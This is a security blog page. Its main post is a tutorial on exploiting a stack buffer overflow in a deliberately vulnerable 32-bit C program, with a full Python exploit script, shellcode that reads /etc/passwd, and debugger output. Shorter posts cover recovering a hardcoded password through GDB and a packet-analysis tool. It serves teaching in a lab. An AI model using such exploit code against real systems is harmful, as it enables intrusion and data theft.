Saturday, May 9, 2020

Continuing Buffer Overflow - The Basics

In a previous post, we worked on buffer overflows. In that post I kept it simple, by having the "arbitrary code" within the same program. That example was meant to perform the simplest of buffer overflows. However, I did have the question asked about running code which is not part of the compiled program. The concepts from that post remains the same. However, this quick post is meant to close that loop.

Here we have the sample code for the vulnerable application.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
// gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 sample.c -o sample

// SecurityNik buffer overflow demo


int main()
{   
    // declare a buffer of size 8 bytes 
    char pass[8];

    // Read the input. Get's does not check the size of the input and thus allows for buffer overlflow
    gets(pass);

    // Simply print the output back to the screen.
    puts(pass);

    return 0;
}

For simplicity I disabled Address Space Layout Randomization (ASLR) via

1
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

I then compiled the program. Note the errors below about "gets" being a vulnerable function. The program still compiles though.

1
2
3
4
5
6
7
8
9
┌─[securitynik@securitynik]─[~]
└──╼ $gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 sample.c -o sample
sample.c: In function ‘main’:
sample.c:13:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   13 |     gets(pass);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/cctuep9t.o: in function `main':
sample.c:(.text+0x17): warning: the `gets' function is dangerous and should not be used.

After compilation, I run the program and we see.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./sample 
Welcome
Welcome

Let's now test if the program will crash and where. To do this, let's leverage "msf-pattern_create" and "msf-pattern_offset".

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Now that we have the pattern of length 100, let's redirect it to a file named "pattern.txt". This file will be used as input to the sample program.

1
2
3
4
5
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100 > pattern.txt
┌─[securitynik@securitynik]─[~]
└──╼ $cat pattern.txt 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Using the "pattern.txt" file as input to te sample program.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./sample < pattern.txt 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Segmentation fault

Above we see the program has crashed with a "Segmentation fault"

Now let's use that file as input to the compiled program in GDB, so as to identify the offset where the crash occurred.

First load the program in GDB.

1
2
3
4
5
6
[✗]─[securitynik@securitynik]─[~]
└──╼ $gdb ./sample -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./sample...
(No debugging symbols found in ./sample)

Then within GDB, we now run the program using "pattern.txt" once again as input.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> run < pattern.txt 
Starting program: /home/securitynik/sample < pattern.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 EAX  0x0
 EBX  0x33614132 ('2Aa3')
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 ESI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 EBP  0x41346141 ('Aa4A')
 ESP  0xffffd270 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
 EIP  0x61413561 ('a5Aa')
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
Invalid address 0x61413561










───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ esp  0xffffd270 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
01:0004│      0xffffd274 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
02:0008│      0xffffd278 ◂— 'a9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
03:000c│      0xffffd27c ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
04:0010│      0xffffd280 ◂— 'Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
05:0014│      0xffffd284 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
06:0018│      0xffffd288 ◂— '4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
07:001c│      0xffffd28c ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► f 0 61413561
   f 1 37614136
   f 2 41386141
   f 3 62413961
   f 4 31624130
   f 5 41326241
   f 6 62413362
   f 7 35624134
   f 8 41366241
   f 9 62413762
   f 10 39624138
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Looking at the registers above, we see the EIP registers has a value of 0x61413561 ('a5Aa')

This can be further be found by executing.

1
2
pwndbg> info registers eip
eip            0x61413561          0x61413561

If you would like to validate the hex value "0x61413561" translates to "('a5Aa')", then simply execute the "echo" command in conjunction with "xxd -r". This tells "xxd" to perform a reverse operation.

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $echo "0x61413561" | xxd -r
aA5a

Now that we have the pattern 'a5Aa', let's feed this into "msf-pattern_offset" as shown below.

1
2
3
[securitynik@securitynik]─[~]
└──╼ $msf-pattern_offset --query a5Aa --length 100
[*] Exact match at offset 16

Looking at above, it seems offset 16 is where the EIP starts. Therefore in theory, a pattern of "AAAAAAAABBBBCCCC" should get us to the return pointer and "DDDD" should overwrite the return pointer.

Even though the program crashed and we can possibly overwrite the return pointer, are we able to perform any write and or execute actions on the stack? Let's look at the program memory map.

Execute the program again.

1
2
┌─[securitynik@securitynik]─[~]
└──╼ $./sample 

Perform a "grep" to find the sample program PID

1
2
3
4
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $ps aux | grep sample
securit+    9003  0.0  0.0   2416   556 pts/1    S+   13:12   0:00 ./sample
securit+    9008  0.0  0.0   6156   840 pts/0    S+   13:12   0:00 grep --color=auto sample

The PID is reported above as 9003. Let's now look at the memory map, via the proc file system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
─[securitynik@securitynik]─[~]
└──╼ $cat /proc/9003/maps
56555000-56558000 r-xp 00000000 00:17 422036                             /home/securitynik/sample
56558000-56559000 r-xp 00002000 00:17 422036                             /home/securitynik/sample
56559000-5655a000 rwxp 00003000 00:17 422036                             /home/securitynik/sample
5655a000-5657c000 rwxp 00000000 00:00 0                                  [heap]
f7dcc000-f7faa000 r-xp 00000000 00:17 98568                              /usr/lib32/libc-2.30.so
f7faa000-f7fac000 r-xp 001dd000 00:17 98568                              /usr/lib32/libc-2.30.so
f7fac000-f7fae000 rwxp 001df000 00:17 98568                              /usr/lib32/libc-2.30.so
f7fae000-f7fb0000 rwxp 00000000 00:00 0 
f7fce000-f7fd0000 rwxp 00000000 00:00 0 
f7fd0000-f7fd3000 r--p 00000000 00:00 0                                  [vvar]
f7fd3000-f7fd4000 r-xp 00000000 00:00 0                                  [vdso]
f7fd4000-f7ffc000 r-xp 00000000 00:17 98561                              /usr/lib32/ld-2.30.so
f7ffc000-f7ffd000 r-xp 00027000 00:17 98561                              /usr/lib32/ld-2.30.so
f7ffd000-f7ffe000 rwxp 00028000 00:17 98561                              /usr/lib32/ld-2.30.so
fffdd000-ffffe000 rwxp 00000000 00:00 0                                  [stack]

Interesting! We can perform write and execute actions on the stack, as seen via the "rwxp" permissions.

Let's now grab some shellcode. I grabbed a shellcode from shell-storm.org.

In all honesty, I tried a few shellcodes before I found one that worked. Once I found one that worked, I added it to the following script: This shellcode writes the "/etc/passed" file to screen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python

# Downloaded shellcode
# http://shell-storm.org/shellcode/files/shellcode-571.php

if __name__ == '__main__':

    # Create a file to store payload which will be used as input to sample program.
    input_fp = open('input', 'w')

    # Shellcode to print contents of /etc/passwd file to screen
    sc = (
        "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" 
  "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
    )

    '''
    Declare a variable consisting of:
    16 As representing our buffer, any padding and the EBP
    '\x00\xd3\xff\xff' - an address for us to jump to
    '\x90'*100 - because we are not sure where our code will land in memory, add a nop slide
    sc - our shellcode
    '''

    myBuffer = 'A'*16 +  '\x00\xd3\xff\xff' + '\x90'*200 + sc

    # Write the contents out to a file named input as declared above.
    input_fp.write(myBuffer)

Execute the "exploit.py" script and display the contents using "cat" command.

1
2
3
4
5
6
7
┌─[securitynik@securitynik]─[~]
└──╼ $./exploit.py 
┌─[securitynik@securitynik]─[~]
└──╼ $cat input 
AAAAAAAAAAAAAAAA�������������������������������������������������������������������������������������������������������1��Rh/cath/bin��Rhsswdh//pah/etc��
                                                 RQS��̀┌─[securitynik@securitynik]─[~]
└──╼ $

Looks interesting. Let's now take a look to see what we get in GDB before running outside in the bash shell.

Load the program up again in GDB.

1
2
3
4
5
6
┌─[securitynik@securitynik]─[~]
└──╼ $gdb ./sample -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./sample...
(No debugging symbols found in ./sample)

Look at the functions to set a breakpoint

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  gets@plt
0x00001040  __libc_start_main@plt
0x00001050  __cxa_finalize@plt
0x00001058  puts@plt
0x00001060  _start
0x000010a0  __x86.get_pc_thunk.bx
0x000010b0  deregister_tm_clones
0x000010f0  register_tm_clones
0x00001140  __do_global_dtors_aux
0x00001190  frame_dummy
0x00001195  __x86.get_pc_thunk.dx
0x00001199  main
0x000011d0  __libc_csu_init
0x00001230  __libc_csu_fini
0x00001231  __x86.get_pc_thunk.bp
0x00001238  _fini

Let's now set a breakpoint just before "0x00001058  puts@plt" is executed.

1
2
pwndbg> break puts@plt
Breakpoint 1 at 0x1058

Run the program again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> run < input 
Starting program: /home/securitynik/sample < input

Breakpoint 1, 0x56556058 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 EAX  0xf7e3b560 (puts) ◂— push   ebp
 EBX  0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— clc     /* 0x3ef8 */
 ECX  0xf7fac580 (_IO_2_1_stdin_) ◂— cwde    /* 0xfbad2098 */
 EDX  0xffffd363 —▸ 0xffd75600 ◂— 0xffd75600
 EDI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 ESI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 EBP  0xffffd268 ◂— 'AAAA'
 ESP  0xffffd254 —▸ 0x565561c3 (main+42) ◂— add    esp, 4
 EIP  0x56556058 (puts@plt) —▸ 0xfff0a3ff ◂— 0xfff0a3ff
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
 ► 0x56556058 <puts@plt>    jmp    dword ptr [ebx - 0x10] <0xf7e3b560>
    ↓
   0xf7e3b560 <puts>        push   ebp
   0xf7e3b561 <puts+1>      mov    ebp, esp
   0xf7e3b563 <puts+3>      push   edi
   0xf7e3b564 <puts+4>      call   0xf7f0afe1
 
   0xf7e3b569 <puts+9>      add    edi, 0x170a97
   0xf7e3b56f <puts+15>     push   esi
   0xf7e3b570 <puts+16>     push   ebx
   0xf7e3b571 <puts+17>     sub    esp, 0x28
   0xf7e3b574 <puts+20>     push   dword ptr [ebp + 8]
   0xf7e3b577 <puts+23>     mov    dword ptr [ebp - 0x24], edi
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ esp  0xffffd254 —▸ 0x565561c3 (main+42) ◂— add    esp, 4
01:0004│      0xffffd258 —▸ 0xf7e3b560 (puts) ◂— push   ebp
02:0008│      0xffffd25c ◂— 'AAAAAAAAAAAAAAAA'
... ↓
06:0018│      0xffffd26c —▸ 0xffffd300 ◂— 0x90909090
07:001c│      0xffffd270 ◂— 0x90909090
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► f 0 56556058 puts@plt
   f 1 565561c3 main+42
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Taking a quick look at the stack to see what it looks liked before "puts" is executed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/80xw $esp
0xffffd254: 0x565561c3 0xf7e3b560 0x41414141 0x41414141
0xffffd264: 0x41414141 0x41414141 0xffffd300 0x90909090
0xffffd274: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd284: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd294: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd304: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd314: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd324: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd334: 0x90909090 0x5299c031 0x61632f68 0x622f6874
0xffffd344: 0xe3896e69 0x73736852 0x2f686477 0x6861702f
0xffffd354: 0x6374652f 0x0bb0e189 0x89535152 0x0080cde1
0xffffd364: 0xffffd756 0xffffdd38 0xffffdd51 0xffffdd5d
0xffffd374: 0xffffdd6e 0xffffdda2 0xffffddb9 0xffffddcd
0xffffd384: 0xffffdde5 0xffffddf6 0xffffde01 0xffffde09

Looks interesting, we can see our 16 As, followed by "0xffffd300" which is then followed by our "0x90" (NOP) then our shell code starts. However, does our return pointer, point to an area we would like? If we look closely above, we can see it does. However, let's give this more clarity, by examining a few bytes at the address "0xffffd300"


1
2
3
4
5
pwndbg> x/16xw 0xffffd300
0xffffd300: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd310: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd320: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd330: 0x90909090 0x90909090 0x5299c031 0x61632f68

Good stuff, we can further confirm our return pointer jumps to the NOP and then slides down to our shell code. Let's now execute this in a normal shell to see what we get.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
└──╼ $./sample < input 
AAAAAAAAAAAAAAAA
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
..... Truncated for brevity .....
dradis:x:135:147::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:136:148::/var/lib/beef-xss:/usr/sbin/nologin
geoclue:x:137:149::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:138:150:Light Display Manager:/var/lib/lightdm:/bin/false
king-phisher:x:139:151::/var/lib/king-phisher:/usr/sbin/nologin
securitynik:x:1000:1000:SecurityNik,,,:/home/securitynik:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
┌─[securitynik@securitynik]─[~]

Nice! Looks like we were able to exploit the vulnerable program by using code external to the actual program.

Hope you enjoyed this post.

Finding passwords via GDB and strncmp

Recently while mentoring the Rogers Cyber Secure Catalyst Program. A program supported through the generous partnership of the Government of Canada, Rogers Communications and Royal Bank of Canada and executed by Ryerson University in conjunction with the SANS Institute, there was a lab which the candidates had to complete. I completed the lab using a method different from the documentation presented to the students. I did it that way to show there are different ways to solve the same problem. However, one of the students asked if I could instead solve the problem similarly to the lab documentation. In reality I could, but after trying a few tricks and considering time, I figured I would do it and show it to them later.

What was the lab?
Basically, the lab was about finding the password within compiled code, by using GDB/pwndbg.

Here is an idea of the code. This is not the exact code that the lab had but the idea remains the same.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* 
Sample code to compare password
Author: Nik Alleyne
Blog: www.securitynik.com

Compile with debug symbols
$gcc -m32 -ggdb -mpreferred-stack-boundary=2 -o comparePassword comparePassword.c

Compile without debug symbols
$gcc -m32 -mpreferred-stack-boundary=2 -o comparePassword comparePassword.c
*/

#include <stdio.h>
#include <string.h>

// Function to compare password
void compare_string()
    {
        // allocate space for the password
        char USER_PASS[254];
        char PASSWORD[] = "SecurityNik";

        printf("Enter the password: \n");
        
        // read the user's password
        fgets(USER_PASS, sizeof(USER_PASS), stdin);

        // Compare what the user entered with what we expect
        if (strncmp(USER_PASS, PASSWORD, sizeof(PASSWORD)-1) == 0)
                printf("Welcome to my world! :-) \n");
        else
                printf("Stay Out! \n");      
            
    }

int main()
    {
        // Call the compare_string function
        compare_string();
        return 0;
    }

What was missing from above is the "strrev" function, which reverses a string. Anyhow, I don't believe it's absence if of major concern.

The code is compiled as follows:

1
└──╼ $gcc -m32 -mpreferred-stack-boundary=2 -o comparePassword32 comparePassword.c

When this code is run, we get the following:

1
2
3
4
5
┌─[securitynik@securitynik]─[~/c-code]
└──╼ $./comparePassword
Enter the password: 
Testing1
Stay Out! 

Above, an incorrect password was entered.

The challenge at this point is to find the correct password using DBG. The way I solved the challenge was to use the "strings" command along with "rev" command. However, as mentioned above, the students wanted me to solve the problem using GDB/pwndbg.

There are many ways to solve this problem. Here is one:

Load the program into GDB.

1
2
3
4
5
└──╼ $gdb comparePassword32 -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from comparePassword32...
(No debugging symbols found in comparePassword32)

Next step, look at the functions being used in the program to understand what the program might be doing.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  fgets@plt
0x00001040  puts@plt
0x00001050  __libc_start_main@plt
0x00001060  strncmp@plt
0x00001070  __cxa_finalize@plt
0x00001080  _start
0x000010c0  __x86.get_pc_thunk.bx
0x000010d0  deregister_tm_clones
0x00001110  register_tm_clones
0x00001160  __do_global_dtors_aux
0x000011b0  frame_dummy
0x000011b5  __x86.get_pc_thunk.dx
0x000011b9  compare_string
0x0000125a  main
0x00001273  __x86.get_pc_thunk.ax
0x00001280  __libc_csu_init
0x000012e0  __libc_csu_fini
0x000012e1  __x86.get_pc_thunk.bp
0x000012e8  _fini

Of greatest importance to us above is the "strncmp" functions. This function can be used to compare two strings and can be considered as the place where the password is being validated.

Next up, we set a breakpoint on our function of interest

1
2
3
4
5
pwndbg> break strncmp
Breakpoint 1 at 0x1060
pwndbg> info breakpoints 
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x00001060 <strncmp@plt>

Now that we have the function, let's run the program by executing the "run" command.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> run
Starting program: /home/securitynik/c-code/comparePassword32 
Enter the password: 
Testing1

Breakpoint 1, 0xf7f2b0b0 in ?? () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0xffffd13e ◂— 'Testing1\n'
 EBX  0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ef8
 ECX  0x0
 EDX  0xfbad2288
 EDI  0xf7fac000 ◂— 0x1dfd6c
 ESI  0xf7fac000 ◂— 0x1dfd6c
 EBP  0xffffd240 —▸ 0xffffd248 ◂— 0x0
 ESP  0xffffd120 —▸ 0x5655622d (compare_string+116) ◂— add    esp, 0xc
 EIP  0xf7f2b0b0 ◂— push   ebp
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0xf7f2b0b0    push   ebp
   0xf7f2b0b1    mov    edx, dword ptr [esp + 8]
   0xf7f2b0b5    mov    eax, dword ptr [esp + 0xc]
   0xf7f2b0b9    mov    ebp, dword ptr [esp + 0x10]
   0xf7f2b0bd    test   ebp, ebp
   0xf7f2b0bf    je     0xf7f2b2b2
 
   0xf7f2b0c5    mov    cx, dx
   0xf7f2b0c8    and    cx, 0xfff
   0xf7f2b0cd    cmp    cx, 0xff0
   0xf7f2b0d2    ja     0xf7f2b129
 
   0xf7f2b0d4    movdqu xmm2, xmmword ptr [edx]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp    0xffffd120 —▸ 0x5655622d (compare_string+116) ◂— add    esp, 0xc
01:0004│        0xffffd124 —▸ 0xffffd13e ◂— 'Testing1\n'
02:0008│        0xffffd128 —▸ 0xffffd132 ◂— 'SecurityNik'
03:000c│        0xffffd12c ◂— 0xb /* '\x0b' */
04:0010│        0xffffd130 ◂— 0x6553d000
05:0014│        0xffffd134 ◂— 'curityNik'
06:0018│        0xffffd138 ◂— 'tyNik'
07:001c│ eax-2  0xffffd13c ◂— 0x6554006b /* 'k' */
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0 f7f2b0b0
   f 1 5655622d compare_string+116
   f 2 5655626c main+18
   f 3 f7deaef1 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Once I entered the invalid password, we then see that GDB/pwndbg reported the string I entered along with the another string below it. Could this other string be the password? Let's test that theory.

Executed the program again, with string which we now find during debugging.


1
2
3
4
└──╼ $./comparePassword32 
Enter the password: 
SecurityNik
Welcome to my world! :-) 

Looks like we are now in. This means the password is "SecurityNik".

Obviously there was lots of testing I had to do to get to this point. However, hopefully the students reading can make sense of what I did.

Using TShark For Continuous Packet Monitoring and Packet Intelligence

If you are already capturing your packets and are trying to figure out how to best use these PCAP files and the data in them, I have released a python package consisting of two scripts to help you gain intelligence from the packets. The primary script "pktIntel.py" retrieves IP addresses, Domains, URLS, http host information along with TLS Server Name Indication information and compares this to data in your existing PCAPs.

To learn more about this package, checkout the project repository on GitHub:  https://github.com/SecurityNik/pktIntel